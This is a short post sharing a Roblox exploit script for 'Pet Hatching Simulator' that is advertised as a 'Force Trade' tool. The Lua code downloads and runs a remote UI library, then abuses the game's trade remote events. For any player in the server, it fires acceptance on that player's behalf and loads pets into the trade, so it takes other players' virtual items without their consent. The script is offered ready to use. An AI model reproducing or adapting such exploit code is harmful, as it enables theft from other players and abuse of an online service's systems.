BGs Pet Hatching Simulator Force Trade

Script Credit :- momotrove1234
Features

Force Trade

Script
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local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/xHeptc/Kavo-UI-Library/main/source.lua"))() local Window = Library.CreateLib("Force Trade By Momo the goat again ;)", "BloodTheme") --main tab local main = Window:NewTab("Main") local sec = main:NewSection("Force Trade") for i , k in pairs(game.Players:GetChildren())do sec:NewButton(k.Name, "Person", function() --prompt game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.PromptTradeAccept:FireServer(k.Name) wait(.2) game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.DeclineTrade:FireServer(k.Name,"Accept") wait(.2) --place pets for i , v in pairs(game:GetService("Workspace").Pets.ServerPets:GetDescendants())do if v.Name == "PetName" then wait() game:GetService("ReplicatedStorage").GameClient.Events.RemoteFunction.AddPetToTrade:InvokeServer(k.Name,"Add",{["PetID"] = v.Parent.Name,["PetName"] = v.Value}) end end wait(.2) --accepte game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(k.Name,"Accept") wait(.5) game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(game.Players.LocalPlayer.Name,"Accept") wait(.5) end) end